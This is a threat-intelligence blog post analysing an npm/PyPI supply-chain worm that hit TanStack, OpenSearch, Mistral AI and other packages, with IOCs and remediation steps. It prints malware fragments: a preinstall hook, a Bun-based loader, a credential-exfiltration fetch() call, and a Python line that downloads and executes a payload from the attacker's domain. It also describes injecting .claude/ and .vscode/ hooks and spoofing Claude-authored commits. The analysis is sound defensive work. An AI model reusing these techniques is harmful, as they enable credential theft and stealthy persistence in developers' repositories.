

TeamPCP hits 160+ packages including OpenSearch and Mistral AI

 opensourcemalware.com/blog/teampcp-mistralai-opensearch-compromised

OpenSourceMalware.com

May 13, 2026

[Back to Blog](#)



The OSM team has been tracking a self-propagating npm supply-chain worm that exploded across the registry over the last 24 hours. It started with the [TanStack](#) packages, but didn't stop there — by the time you read this, the attack has spread to **170 npm packages spanning 19 namespaces**, the official **OpenSearch** JavaScript client at AWS (1.3 million weekly downloads), the **Mistral AI** clients on both npm and PyPI, and a handful of PyPI packages including [guardrails-ai](#). We've documented every affected version on [OpenSourceMalware.com](#) under the campaign tag [mini-shai-hulud](#).

The threat group operating the worm has signed their own work: a page they served from [git-tanstack.com](#) (a typosquat domain) reads *"With Love TeamPCP"* and brags *"We've been online over 2 hours now stealing creds. Regardless I just came to say hello :^)"*. So we'll call them what they call themselves — **TeamPCP**.

TL;DR

- **Threat Type:** Self-spreading npm worm with cross-ecosystem PyPI dropper
- **Threat Group:** TeamPCP
- **Affected Ecosystems:** npm (170 packages, 19 namespaces), PyPI (2 packages and counting)
- **Highest-impact victims:** [@opensearch-project/opensearch](#) (1.3M weekly downloads, AWS-maintained), [@mistralai/mistralai](#) family (npm + PyPI)
- **Initial vector:** OIDC token theft from a TanStack CI workflow run via an orphaned commit — bypassing 2FA on publishing
- **Propagation:** Steals OIDC tokens from infected CI, mints fresh npm publish tokens via OIDC federation, republishes packages with **valid Sigstore provenance attestations** as a deceptive trust signal
- **Exfiltration:** Routed through the Session P2P messaging network — encrypted IM traffic, not HTTP C2
- **Persistence:** Injects [.claude/](#) and [.vscode/](#) hooks plus [.github/workflows/](#) into downstream repos via GitHub GraphQL

What Happened

On May 10–11, 2026, an attacker exploited an orphaned commit in a TanStack repository to gain access to the workflow run that holds its npm publishing OIDC token. This bypassed 2FA-protected publishing entirely — the attacker never needed to phish a maintainer or compromise an npm session, they just hijacked the token a legitimate CI run was already authorized to mint.

From that single entry point, the implant turned every infected install into a republisher. Each compromised release wires a [preinstall](#) hook that downloads the **legitimate Bun runtime** from [github.com/oven-sh/bun](#) and uses Bun as a LOLBin to launch a loader ([tanstack_runner.js](#)), which in turn executes a 2.3 MB obfuscated payload ([router_init.js](#)). That payload harvests every credential it can reach on a typical CI runner — GitHub Actions secrets, AWS instance metadata via IMDSv2, ECS task metadata, Secrets Manager and SSM Parameter Store across all regions, Kubernetes service-account tokens, HashiCorp Vault tokens. When running on a CI runner with an active OIDC token, [tanstack_runner.js](#) also mints a fresh npm publish token via OIDC federation and **republishes infected packages under the latest dist-tag with a valid Sigstore provenance attestation**. To anyone downstream looking at provenance as a trust signal, the malicious releases look like clean CI builds. (See below for the worked example.)

The worm then poisons the source side too: using a GitHub GraphQL [createCommitOnBranch](#) mutation, it injects [.claude/router_runtime.js](#), [.claude/settings.json](#), [.claude/setup.mjs](#), [.vscode/setup.mjs](#), [.vscode/tasks.json](#), and arbitrary [.github/workflows/](#) files into

compromised repositories. Every injected commit is spoofed with author `claude@users.noreply.github.com` to disguise the activity as Claude Code agent output.

Exfiltration is the most novel part. Instead of HTTP C2, harvested credentials are routed through the **Session P2P messaging network** using its signalservice Protocol Buffers (`Envelope`, `Content`, `DataMessage`, `WebSocketMessage`, `SharedConfigMessage`). To a network observer, the traffic looks like encrypted IM, not exfiltration.

The Scope

Namespace	npm packages	Notable
@tanstack/*	42	Initial victim; ~84 malicious version pairs
@uipath/*	64	Enterprise RPA tooling; full namespace sweep
@squawk/*	22	Aviation toolkit (airspaces, NOTAMs, ICAO data)
@tallyui/*	10	Commerce / POS toolkit
@beproduct/nestjs-auth	1	18 versions (0.1.2–0.1.19)
@opensearch-project/opensearch	1	1.3M weekly downloads — versions 3.5.3, 3.6.2, 3.7.0, 3.8.0
@mistralai/{mistralai, mistralai-azure, mistralai-gcp}	3	Official Mistral AI clients (npm)
@mesadev/*	3	
@draftauth/*, @draftlab/*	5	Auth toolkits
@ml-toolkit-ts/*, @supersurkhet/*, @taskflow-corp/*, @tolka/*, @dirigible-ai/*	9	

Namespace	npm packages	Notable
Unscoped: agentwork-cli , cmux-agent-mcp , cross-stitch , git-branch-selector , git-git-git , ml-toolkit-ts , nextmove-mcp , safe-action , ts-dna , wot-api	10	
PyPI	2	mistralai 2.4.6 and guardrails-ai 0.10.1

All of these compromised packages are available in OpenSourceMalware under the "#mini-shai-hulud" tag. Additionally, we will provide a complete list of all packages at the bottom of this blog post.

The Two Highest-Impact Hits

@opensearch-project/opensearch

3.6.0 • Public • Published 14 days ago

Readme

CodeBeta

6 Dependencies

285 Dependents

37 Versions

Node CI passing

Integration passing

Bundler passing

codecov 96%

chat on forums

PRs welcome!



OpenSearch Node.js client

Welcome!

Example use

- Setup

Sample code

Project Resources

Code of Conduct

License

Copyright

Welcome!

opensearch-js is a community-driven, open source fork of elasticsearch-js licensed under the Apache v2.0 License. For more information, see opensearch.org.

Example use

The OpenSearch JavaScript client provides a safer and easier way to interact with your OpenSearch cluster. Rather than using OpenSearch from the browser and potentially exposing your data to the public, you can build an OpenSearch client that takes care of sending requests

Install

```
> npm i @opensearch-project/opensearch
```

Repository

github.com/opensearch-project/opensearch-js

Homepage

www.opensearch.org/

Weekly Downloads

1,043,013



Version

3.6.0

License

Apache-2.0

Last publish

14 days ago

Collaborators



[@opensearch-project/opensearch](#) is the official OpenSearch JavaScript client maintained by AWS / the OpenSearch project. Versions 3.5.3, 3.6.2, 3.7.0, and 3.8.0 were compromised, with ~1.3 million weekly npm downloads at risk. Any application or pipeline that depends on these versions — observability stacks, search-backed services, OpenSearch / Elasticsearch ingestion — is in scope. This is the single highest-blast-radius compromise in the campaign.

@mistralai/mistralai 

2.2.1 • Public • Published 21 days ago

 [Readme](#)

 [Code](#) Beta

 3 Dependencies

 256 Dependents

 54 Versions

Mistral Typescript Client

This is v2 of the Mistral TypeScript SDK.

Key changes from v1: **ESM-only**, shorter type names, forward-compatible enums/unions, Zod v4. See the [Migration Guide](#) for full details.

To pin v1: `npm install @mistralai/mistralai@^1` · [v1 documentation and source](#)

Summary

Mistral AI API: Our Chat Completion and Embeddings APIs specification. Create your account on [La Plateforme](#) to get access and read the [docs](#) to learn how to use it.

Table of Contents

- Mistral Typescript Client
 - SDK Installation
 - Requirements
 - API Key Setup
 - SDK Example Usage
 - Providers' SDKs
 - Available Resources and Operations
 - Server-sent event streaming

Install

```
> npm i @mistralai/mistralai
```

Repository

 github.com/mistralai/client-ts

Homepage

 github.com/mistralai/client-ts#readme

Weekly Downloads

1,897,530

Version

2.2.1

License

Apache-2.0

Last publish

21 days ago

Collaborators



The Mistral AI clients got hit on both ecosystems simultaneously. On npm, [@mistralai/mistralai@2.2.3](#) and [2.2.4](#), [@mistralai/mistralai-azure@1.7.2](#) and [1.7.3](#), and [@mistralai/mistralai-gcp@1.7.2](#) and [1.7.3](#) were all replaced. On PyPI, [mistralai==2.4.6](#) followed. Anyone building an LLM application on top of Mistral's official SDKs in that window is potentially affected.

Anatomy of an Infected Install: [@mistralai/mistralai@2.2.4](#)

We're using [@mistralai/mistralai@2.2.4](#) as the worked example, but every one of the 170 npm packages above ships the same payload chain — only the surface-level `package.json` metadata changes between them.

Step 1: `preinstall` hook fires on `npm install`

The malicious `package.json` wires the entire kill chain into a single npm lifecycle hook:

```
{
  "name": "@mistralai/mistralai",
  "version": "2.2.4",
  "scripts": {
    "preinstall": "node setup.mjs"
  }
}
```

`preinstall` runs *before* the package is installed — meaning the payload executes even if the install ultimately fails. There's no requiring the package, no running the build, no calling any exported function. The moment a CI runner or a developer's machine resolves a malicious version, the implant is live.

Step 2: `setup.mjs` downloads Bun and uses it as a LOLBin

`setup.mjs` is the most interesting evasion choice in the campaign. Rather than execute the payload directly with the system's `node`, it downloads the **legitimate Bun runtime** from github.com/oven-sh/bun and uses Bun to launch the next stage.

```
const V = "1.3.13"; // Bun version
const E = "tanstack_runner.js"; // Payload filename
const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;

await dl(u, zp); // pull Bun from GitHub
xb(zp, `${a}/${bn}`, td); // extract to /tmp/bun-dl-
*
execFileSync(bp, [ep], { stdio: "inherit", cwd: D }); // run payload with Bun
```

The download URL is a real GitHub release URL. Egress proxies and DNS-based filters won't flag it, because Bun is an entirely legitimate developer tool with signed code, valid TLS, and established provenance. The implant uses Bun as a "living off the land" binary: a different JavaScript runtime than whatever node-based introspection your SCA tools might be doing, executed from a temp path that doesn't appear in any project file. The Bun binary lands in a `/tmp/bun-dl-*` temporary directory, and the downloaded zip is cleaned up after extraction.

Step 3: `tanstack_runner.js` loads `router_init.js`

`tanstack_runner.js` is a thin loader and deobfuscator for the main payload. On any infected install it shells out to `router_init.js`; on a CI runner with an active OIDC token, it additionally runs the worm-propagation logic that mints a fresh npm publish token via OIDC federation and republishes infected packages with valid Sigstore provenance.

Step 4: `router_init.js` — the 2.3 MB obfuscated implant

`router_init.js` is obfuscated with a `javascript-obfuscator` profile — string-array rotation, hex-encoded function lookups, control-flow flattening. The code style is unmistakable:

```
const _0x12ada1 = _0x3782;
(function (_0x2e175c, _0x465e49) {
  const _0x2e8d39 = _0x3782;
  // ...
  parseInt(_0x2e8d39(0x16c2)) / 0x1 * (parseInt(_0x2e8d39(0x161a)) / 0x2)
  // ...
})();
```

Once deobfuscated, the payload reads from a fixed list of environment variables — every one a credential or a piece of CI context:

```
AWS_SECRET_ACCESS_KEY
AWS_REGION
VAULT_AUTH_TOKEN
VAULT_TOKEN
GITHUB_REPOSITORY
RUNNER_OS
USER
TESTING_TAR_FAKE_PLATFORM
__FAKE_PLATFORM__
```

The last two are very likely sandbox-detection canaries — if either is set, the payload behaves benignly. This is a defensive evasion against malware-analysis sandboxes that fake their platform metadata.

Step 5: Exfiltration over `http://filev2.getsession.org/file/`

The exfil itself is a single `fetch()` call. Three details are worth noticing:

```
fetch(_0x293486, {
  ..._0x4a5df1,
  body: _0x4a5df1.body || void 0,
  tls: { rejectUnauthorized: false },
  proxy: this.proxy,
});
```

1. The endpoint is **plain HTTP, not HTTPS** (<http://filev2.getsession.org/file/>) — Session's file storage accepts unauthenticated uploads over HTTP, which avoids any TLS handshake fingerprinting.
2. `tls.rejectUnauthorized: false` — even when fetching over HTTPS, the implant accepts invalid certificates, so a transparent intercepting proxy can't cause it to fail closed.
3. `proxy: this.proxy` — the implant honors any HTTP proxy already configured in the environment, so it inherits a CI runner's outbound proxy and looks like ordinary outbound HTTP traffic.

The traffic itself rides on Session's signalservice Protocol Buffers (`Envelope`, `Content`, `DataMessage`, `WebSocketMessage`), making it look like encrypted P2P messaging to any network observer that does inspect it.

Crossing Into PyPI

`guardrails-ai==0.10.1` on PyPI is where TeamPCP's PyPI playbook becomes visible, and it's worth calling out separately because the kill chain is different from the npm side. The npm worm is sophisticated: OIDC federation, Sigstore-signed provenance, P2P exfil. The PyPI dropper is the opposite — almost lazy by comparison.

On import (not install — *import*) on Linux, `guardrails-ai 0.10.1` does this:

```
# rough behavior — fetches and executes a remote .pyz with no integrity check
urllib.request.urlretrieve(
  "https://git-tanstack.com/transformers.pyz",
  "/tmp/transformers.pyz",
)
subprocess.run(["python3", "/tmp/transformers.pyz"])
```

No hash check. No signature check. Just bytes-over-HTTPS piped into the Python interpreter at import time. This is the same git-tanstack.com domain that's already an IOC across the entire npm side of the campaign — TeamPCP didn't bother to compartmentalize their infrastructure.

The TeamPCP Signature

What makes this campaign visually distinct from past supply-chain attacks is that **the threat group claimed credit publicly**, on their own dropper domain, while the campaign was still active. git-tanstack.com served a page signed "*With Love TeamPCP*" with the boast about stealing credentials and a link to a YouTube video (you can probably guess which one). The same group also operates a GitHub account, [voicproducoes](https://github.com/voicproducoes) (ID [269549300](#), created [2026-03-19](#)), whose public repositories include one titled "*A Mini Shai-Hulud has Appeared*" — a deliberate callback to the September 2024 [Shai-Hulud npm worm](#), branded as the smaller cousin.

We've submitted github.com/voicproducoes to OSM as a malicious repository in its own right ([threat 67ffb546](#)).

Am I Affected?

You may be affected if any of the following are true:

- Your [package-lock.json](#), [pnpm-lock.yaml](#), or [yarn.lock](#) resolves any of the 170 npm packages at the compromised versions listed in [the CSV](#)
- Your Python environment installed [mistralai==2.4.6](#) or [guardrails-ai==0.10.1](#) after May 11, 2026
- Your CI hosts have ever resolved DNS for [git-tanstack.com](#), [filev2.getsession.org](#), [seed1.getsession.org](#), or [api.masscan.cloud](#)
- [/tmp/transformers.pyz](#) exists on any developer or CI host
- Any of your repositories contain files under [.claude/router_runtime.js](#), [.claude/setup.mjs](#), [.vscode/setup.mjs](#), or a recently-added [.github/workflows/](#) file you didn't author
- Recent commits to any of your repositories are authored by [claude@users.noreply.github.com](#) and you don't use Claude Code

Quick checks:

```
# npm – does anything in your lockfile match a compromised version?
grep -E "(@tanstack|@uipath|@squawk|@tallyui|@mistralai|@opensearch-project)/"
package-lock.json

# pypi
pip show mistralai guardrails-ai

# filesystem
ls -la /tmp/transformers.pyz 2>/dev/null && echo "INFECTED"
find . -path '*/node_modules/*/router_init.js' 2>/dev/null
find . -path '*/.claude/router_runtime.js' 2>/dev/null

# git history (run in each of your repos)
git log --all --author='claude@users.noreply.github.com' --since='2026-05-10'
```

What to Do Right Now

1. **Pin away from the bad versions.** The CSV lists every compromised version-pair; pin to a known-good version immediately. For high-blast-radius packages, [@opensearch-project/opensearch](#) should be pinned to $\leq 3.5.2$ or $\geq$ a confirmed-clean newer release once OpenSearch publishes one.
2. **Rotate every credential that touched an infected CI run.** Assume any GitHub Actions secret, AWS access key, Kubernetes service-account token, or Vault token used in a CI run that installed a compromised package was exfiltrated. The implant scrapes IMDSv2, ECS metadata, Secrets Manager, SSM Parameter Store across all regions, and [vault.svc.cluster.local](#).
3. **Hunt for repository poisoning.** Search every repo your CI has write access to for unexpected [.claude/](#), [.vscode/setup.mjs](#), or new workflow files, especially with commits authored as [claude@users.noreply.github.com](#).
4. **Block the C2 infrastructure at egress** — see IOCs below.
5. **Re-publish anything you maintain that may have been republished by the worm.** If you're a maintainer and any of your packages appears in the CSV, the version on npm is not the version in your source tree. Unpublish the malicious release, rotate your npm token, and publish a clean version.
6. **Disable npm install scripts on CI runners.** Run [npm config set ignore-scripts true](#) (or [pnpm config set ignore-scripts true](#)) on every CI runner. This blocks the entire [preinstall](#) → [setup.mjs](#) → Bun → loader chain at the very first hop. The vast majority of CI environments never legitimately need lifecycle hooks; turning them off is a high-leverage one-line defense against this whole class of attack.

Indicators of Compromise (IOCs)

Malicious Packages

The full list of 170 npm packages and 2 PyPI packages, with every compromised version, is available as a [CSV](#). High-priority entries:

```
npm/@opensearch-project/opensearch@3.5.3, 3.6.2, 3.7.0, 3.8.0
npm/@mistralai/mistralai@2.2.3, 2.2.4
npm/@mistralai/mistralai-azure@1.7.2, 1.7.3
npm/@mistralai/mistralai-gcp@1.7.2, 1.7.3
npm/@tanstack/react-router@1.169.5, 1.169.8
npm/@tanstack/router-core@1.169.5, 1.169.8
npm/@beproduct/nestjs-auth@0.1.2 through 0.1.19
pypi/mistralai@2.4.6
pypi/guardrails-ai@0.10.1
```

C2 / Exfiltration Infrastructure

filev2.getsession.org	(Session file storage – primary npm-side exfil endpoint)
seed1.getsession.org	(Session bootstrap node)
api.masscan.cloud	(attacker-controlled API)
git-tanstack.com	(typosquat – serves PyPI dropper; also signed "With Love TeamPCP")
https://git-tanstack.com/transformers.pyz	(PyPI dropper payload URL)

File Hashes

router_init.js (stage-1 npm implant, ~2.3 MB obfuscated):

SHA256	ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
SHA1	12ed9a3c1f73617aefdb740480695c04405d7b4b
MD5	833fd59ebe66a4449982c6d18db656b4

tanstack_runner.js (stage-2 worm propagation):

SHA256 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
SHA1 e7d582b98ca80690883175470e96f703ef6dc497
MD5 b82e54923f7e440664d2d75bd31588ca

Filesystem Indicators

node_modules/<any compromised pkg>/setup.mjs	(preinstall payload downloader)
node_modules/<any compromised pkg>/tanstack_runner.js	(Bun-launched loader)
node_modules/<any compromised pkg>/router_init.js	(2.3 MB obfuscated implant)
/tmp/bun-dl-*	(Bun runtime download dir)
/tmp/transformers.pyz	(PyPI dropper write target)
.claude/router_runtime.js	(Claude Code hook persistence)
.claude/settings.json	(Claude Code config hijack)
.claude/setup.mjs	(ESM loader shim)
.vscode/setup.mjs	(VS Code ESM loader)
.vscode/tasks.json	(VS Code task hijack)

Abused Legitimate Infrastructure (do not block)

github.com/oven-sh/bun/releases/download/bun-v1.3.13/ (legitimate Bun runtime, used as LOLBin by setup.mjs)

Attacker Identity

GitHub: github.com/voicproducoes (ID 269549300, created 2026-03-19)
Commit: 79ac49eedf774dd4b0cfa308722bc463cfe5885c (in TanStack/router – referenced by malicious optionalDependencies)
Author spoof: claude@users.noreply.github.com (used on injected commits in downstream repos)
Group: TeamPCP (self-attributed)

Why This One Matters

Most supply-chain attacks compromise one or two packages and get caught when a maintainer notices a release they didn't push. Mini Shai-Hulud is different on three axes:

1. **It's autonomous.** Every infected CI run becomes a publisher. The attacker didn't need to manually compromise 170 packages — the worm did the work using the same OIDC federation that legitimate publishers use.
2. **It abuses trust signals.** The malicious releases ship with **valid Sigstore provenance attestations**. If your supply-chain policy treats provenance as a clean signal, you'd have shipped these releases through your gates.
3. **It crossed registries.** The PyPI side opened up within hours of the npm side. The infrastructure is shared — git-tanstack.com serves both — and the attacker is clearly comfortable operating cross-ecosystem.

Full Affected Package Inventory

All 173 entries — 170 npm packages, 2 PyPI packages, and the attacker's GitHub account — sorted by registry then package name. Each row links to the corresponding OSM threat report. The same data is available as a [machine-readable CSV](#).

Registry	Package	Compromised Versions	OSM
npm	agentwork-cli	0.1.4, 0.1.5	b5f37efe
npm	@beproduct/nestjs-auth	0.1.2, 0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8, 0.1.9, 0.1.10, 0.1.11, 0.1.12, 0.1.13, 0.1.14, 0.1.15, 0.1.16, 0.1.17, 0.1.18, 0.1.19	904a8527
npm	cmux-agent-mcp	0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7, 0.1.8	588fe58d
npm	cross-stitch	1.1.3, 1.1.4, 1.1.5, 1.1.6	1d13cd83
npm	@dirigible-ai/sdk	0.6.2, 0.6.3	e5fa1971
npm	@draftauth/client	0.2.1, 0.2.2	0a7db862
npm	@draftauth/core	0.13.1, 0.13.2	fd55db4a
npm	@draftlab/auth	0.24.1, 0.24.2	6020ac60
npm	@draftlab/auth-router	0.5.1, 0.5.2	a917e41a
npm	@draftlab/db	0.16.1, 0.16.2	661ccd3f

Registry	Package	Compromised Versions	OSM
npm	git-branch-selector	1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7	00e1a756
npm	git-git-git	1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12	daedb15a
npm	@mesadev/rest	0.28.3	1def5734
npm	@mesadev/saguaro	0.4.22	706a6977
npm	@mesadev/sdk	0.28.3	2940431b
npm	@mistralai/mistralai	2.2.2, 2.2.3, 2.2.4	ec1e411f
npm	@mistralai/mistralai-azure	1.7.1, 1.7.2, 1.7.3	71c588c0
npm	@mistralai/mistralai-gcp	1.7.1, 1.7.2, 1.7.3	28280339
npm	ml-toolkit-ts	1.0.4, 1.0.5	6496842a
npm	@ml-toolkit-ts/preprocessing	1.0.2, 1.0.3	e561cf93
npm	@ml-toolkit-ts/xgboost	1.0.3, 1.0.4	c5466941
npm	nextmove-mcp	0.1.3, 0.1.4, 0.1.5, 0.1.6, 0.1.7	9bb8a216
npm	@opensearch-project/opensearch	3.5.3, 3.6.2, 3.7.0, 3.8.0	e31da725
npm	safe-action	0.8.3, 0.8.4	c8785460
npm	@squawk/airport-data	0.7.4, 0.7.5, 0.7.6, 0.7.7	36bfb918
npm	@squawk/airports	0.6.2, 0.6.3, 0.6.4, 0.6.5	94ebfc48
npm	@squawk/airspace	0.8.1, 0.8.2, 0.8.3, 0.8.4	8c4dc91c
npm	@squawk/airspace-data	0.5.3, 0.5.4, 0.5.5, 0.5.6	48af1665
npm	@squawk/airway-data	0.5.4, 0.5.5, 0.5.6, 0.5.7	ebbf371

Registry	Package	Compromised Versions	OSM
npm	@squawk/airways	0.4.2, 0.4.3, 0.4.4, 0.4.5	5d4a85be
npm	@squawk/fix-data	0.6.4, 0.6.5, 0.6.6, 0.6.7	06297647
npm	@squawk/fixes	0.3.2, 0.3.3, 0.3.4, 0.3.5	9494fe5d
npm	@squawk/flight-math	0.5.4, 0.5.5, 0.5.6, 0.5.7	0d78f3ed
npm	@squawk/flightplan	0.5.2, 0.5.3, 0.5.4, 0.5.5	ef8807a2
npm	@squawk/geo	0.4.4, 0.4.5, 0.4.6, 0.4.7	57cb33b9
npm	@squawk/icao-registry	0.5.2, 0.5.3, 0.5.4, 0.5.5	f68f876c
npm	@squawk/icao-registry-data	0.8.4, 0.8.5, 0.8.6, 0.8.7	acee99b8
npm	@squawk/mcp	0.9.1, 0.9.2, 0.9.3, 0.9.4	3a9bd6aa
npm	@squawk/navaid-data	0.6.4, 0.6.5, 0.6.6, 0.6.7	eadc7ec8
npm	@squawk/navaids	0.4.2, 0.4.3, 0.4.4, 0.4.5	52f63026
npm	@squawk/notams	0.3.6, 0.3.7, 0.3.8, 0.3.9	525979b5
npm	@squawk/procedure-data	0.7.3, 0.7.4, 0.7.5, 0.7.6	97751a26
npm	@squawk/procedures	0.5.2, 0.5.3, 0.5.4, 0.5.5	d8af4c4a
npm	@squawk/types	0.8.1, 0.8.2, 0.8.3, 0.8.4	591fb4ba
npm	@squawk/units	0.4.3, 0.4.4, 0.4.5, 0.4.6	302d4845

Registry	Package	Compromised Versions	OSM
npm	@squawk/weather	0.5.6, 0.5.7, 0.5.8, 0.5.9	e46ab84e
npm	@supersurkhet/cli	0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7	ac64aaa6
npm	@supersurkhet/sdk	0.0.2, 0.0.3, 0.0.4, 0.0.5, 0.0.6, 0.0.7	fa0ac9a0
npm	@tallyui/components	1.0.1, 1.0.2, 1.0.3	00de55fd
npm	@tallyui/connector-medusa	1.0.1, 1.0.2, 1.0.3	aa6a17ca
npm	@tallyui/connector-shopify	1.0.1, 1.0.2, 1.0.3	bd70560c
npm	@tallyui/connector-vendure	1.0.1, 1.0.2, 1.0.3	fe919e83
npm	@tallyui/connector-woocommerce	1.0.1, 1.0.2, 1.0.3	93a7e6ce
npm	@tallyui/core	0.2.1, 0.2.2, 0.2.3	f8e985a8
npm	@tallyui/database	1.0.1, 1.0.2, 1.0.3	ded08135
npm	@tallyui/pos	0.1.1, 0.1.2, 0.1.3	e9156aeb
npm	@tallyui/storage-sqlite	0.2.1, 0.2.2, 0.2.3	2d41338e
npm	@tallyui/theme	0.2.1, 0.2.2, 0.2.3	5df95aa4
npm	@tanstack/arktype-adapter	1.166.12, 1.166.15	91234410
npm	@tanstack/eslint-plugin-router	1.161.9, 1.161.12	14fb2495
npm	@tanstack/eslint-plugin-start	0.0.4, 0.0.7	cdb165c8
npm	@tanstack/history	1.161.9, 1.161.12	f6ffd5f9
npm	@tanstack/nitro-v2-vite-plugin	1.154.12, 1.154.15	6f3e7475
npm	@tanstack/react-router	1.169.5, 1.169.8	15985b6d
npm	@tanstack/react-router-devtools	1.166.16, 1.166.19	7a08d8fe

Registry	Package	Compromised Versions	OSM
npm	@tanstack/react-router-ssr-query	1.166.15, 1.166.18	d42cb346
npm	@tanstack/react-start	1.167.68, 1.167.71	4736d32c
npm	@tanstack/react-start-client	1.166.51, 1.166.54	34db812e
npm	@tanstack/react-start-rsc	0.0.47, 0.0.50	b361bd85
npm	@tanstack/react-start-server	1.166.55, 1.166.58	3ae49017
npm	@tanstack/router-cli	1.166.46, 1.166.49	5b7b2709
npm	@tanstack/router-core	1.169.5, 1.169.8	3c293319
npm	@tanstack/router-devtools	1.166.16, 1.166.19	a8736ed8
npm	@tanstack/router-devtools-core	1.167.6, 1.167.9	8c35dfb4
npm	@tanstack/router-generator	1.166.45, 1.166.48	3955088b
npm	@tanstack/router-plugin	1.167.38, 1.167.41	8901fc32
npm	@tanstack/router-ssr-query-core	1.168.3, 1.168.6	49e9a874
npm	@tanstack/router-utils	1.161.11, 1.161.14	5eba8fe2
npm	@tanstack/router-vite-plugin	1.166.53, 1.166.56	2842b408
npm	@tanstack/solid-router	1.169.5, 1.169.8	2db64fd2
npm	@tanstack/solid-router-devtools	1.166.16, 1.166.19	b1d15516
npm	@tanstack/solid-router-ssr-query	1.166.15, 1.166.18	cfaee4f1
npm	@tanstack/solid-start	1.167.65, 1.167.68	14dbc4d1

Registry	Package	Compromised Versions	OSM
npm	@tanstack/solid-start-client	1.166.50, 1.166.53	afee37a8
npm	@tanstack/solid-start-server	1.166.54, 1.166.57	a908bcc1
npm	@tanstack/start-client-core	1.168.5, 1.168.8	39cfb9f5
npm	@tanstack/start-fn-stubs	1.161.9, 1.161.12	b521315f
npm	@tanstack/start-plugin-core	1.169.23, 1.169.26	06d1d2d6
npm	@tanstack/start-server-core	1.167.33, 1.167.36	9207214b
npm	@tanstack/start-static-server-functions	1.166.44, 1.166.47	b1f4ed87
npm	@tanstack/start-storage-context	1.166.38, 1.166.41	6507eed0
npm	@tanstack/valibot-adapter	1.166.12, 1.166.15	fd476fc4
npm	@tanstack/virtual-file-routes	1.161.10, 1.161.13	77708e64
npm	@tanstack/vue-router	1.169.5, 1.169.8	ebb92079
npm	@tanstack/vue-router-devtools	1.166.16, 1.166.19	403e6f37
npm	@tanstack/vue-router-ssr-query	1.166.15, 1.166.18	1f84186a
npm	@tanstack/vue-start	1.167.61, 1.167.64	8cdeb387
npm	@tanstack/vue-start-client	1.166.46, 1.166.49	a8d8dbb2
npm	@tanstack/vue-start-server	1.166.50, 1.166.53	06ce8407
npm	@tanstack/zod-adapter	1.166.12, 1.166.15	1e5b2bc5

Registry	Package	Compromised Versions	OSM
npm	@taskflow-corp/cli	0.1.24, 0.1.25, 0.1.26, 0.1.27, 0.1.28, 0.1.29	a45d9d22
npm	@tolka/cli	1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6	6bf13e1f
npm	ts-dna	3.0.1, 3.0.2, 3.0.3, 3.0.4	ee883dc3
npm	@uipath/access-policy-sdk	0.3.1	59e2a822
npm	@uipath/access-policy-tool	0.3.1	223b9860
npm	@uipath/admin-tool	0.1.1	c33ed30d
npm	@uipath/agent-sdk	1.0.2	fbd1cc97
npm	@uipath/agent-tool	1.0.1	af03c66b
npm	@uipath/agent.sdk	0.0.18	2dad695d
npm	@uipath/aops-policy-tool	0.3.1	e899f883
npm	@uipath/ap-chat	1.5.7	0d55d09a
npm	@uipath/api-workflow-tool	1.0.1	3586fcac
npm	@uipath/apollo-core	5.9.2	b474b9d8
npm	@uipath/apollo-react	4.24.5	28ef6224
npm	@uipath/apollo-wind	2.16.2	9996baf4
npm	@uipath/auth	1.0.1	16f0dac0
npm	@uipath/case-tool	1.0.1	2221a9a6
npm	@uipath/cli	1.0.1	b1dcf660
npm	@uipath/codedagent-tool	1.0.1	36505247
npm	@uipath/codedagents-tool	0.1.12	f723c55d
npm	@uipath/codedapp-tool	1.0.1	12dd9af5
npm	@uipath/common	1.0.1	e24eaf7a

Registry	Package	Compromised Versions	OSM
npm	@uipath/context-grounding-tool	0.1.1	54469eb3
npm	@uipath/data-fabric-tool	1.0.2	1411a718
npm	@uipath/docsai-tool	1.0.1	94c751c3
npm	@uipath/filesystem	1.0.1	cbad130e
npm	@uipath/flow-tool	1.0.2	5e9f8b89
npm	@uipath/functions-tool	1.0.1	2e5ba6e7
npm	@uipath/gov-tool	0.3.1	1a7a15a9
npm	@uipath/identity-tool	0.1.1	ecceca59
npm	@uipath/insights-sdk	1.0.1	c57f6597
npm	@uipath/insights-tool	1.0.1	db82e9e1
npm	@uipath/integrationservice-sdk	1.0.2	07b8c78f
npm	@uipath/integrationservice-tool	1.0.2	bbb1e8b4
npm	@uipath/llmgw-tool	1.0.1	8ace4fe1
npm	@uipath/maestro-sdk	1.0.1	4f1dcc04
npm	@uipath/maestro-tool	1.0.1	44d30254
npm	@uipath/orchestrator-tool	1.0.1	5e7f4237
npm	@uipath/packager-tool-apiworkflow	0.0.19	6d9453be
npm	@uipath/packager-tool-bpmn	0.0.9	1d14151d
npm	@uipath/packager-tool-case	0.0.9	74699f93
npm	@uipath/packager-tool-connector	0.0.19	d2208b8e
npm	@uipath/packager-tool-flow	0.0.19	77c064ca
npm	@uipath/packager-tool-functions	0.1.1	7ad737b8

Registry	Package	Compromised Versions	OSM
npm	@uipath/packager-tool-webapp	1.0.6	3b733a99
npm	@uipath/packager-tool-workflowcompiler	0.0.16	a70cbe6e
npm	@uipath/packager-tool-workflowcompiler-browser	0.0.34	c5627a92
npm	@uipath/platform-tool	1.0.1	de8b09de
npm	@uipath/project-packager	1.1.16	6c451c11
npm	@uipath/resource-tool	1.0.1	259aad08
npm	@uipath/resourcecatalog-tool	0.1.1	1fbb6ffd
npm	@uipath/resources-tool	0.1.11	49f0cf1e
npm	@uipath/robot	1.3.4	fb306900
npm	@uipath/rpa-legacy-tool	1.0.1	d36db974
npm	@uipath/rpa-tool	0.9.5	22123e3e
npm	@uipath/solution-packager	0.0.35	b2f81c2f
npm	@uipath/solution-tool	1.0.1	e71c67c1
npm	@uipath/solutionpackager-sdk	1.0.11	edacfc1e
npm	@uipath/solutionpackager-tool-core	0.0.34	53d0c3ff
npm	@uipath/tasks-tool	1.0.1	163ebcbf
npm	@uipath/telemetry	0.0.7	fb3bbfb4
npm	@uipath/test-manager-tool	1.0.2	f14cb0ff
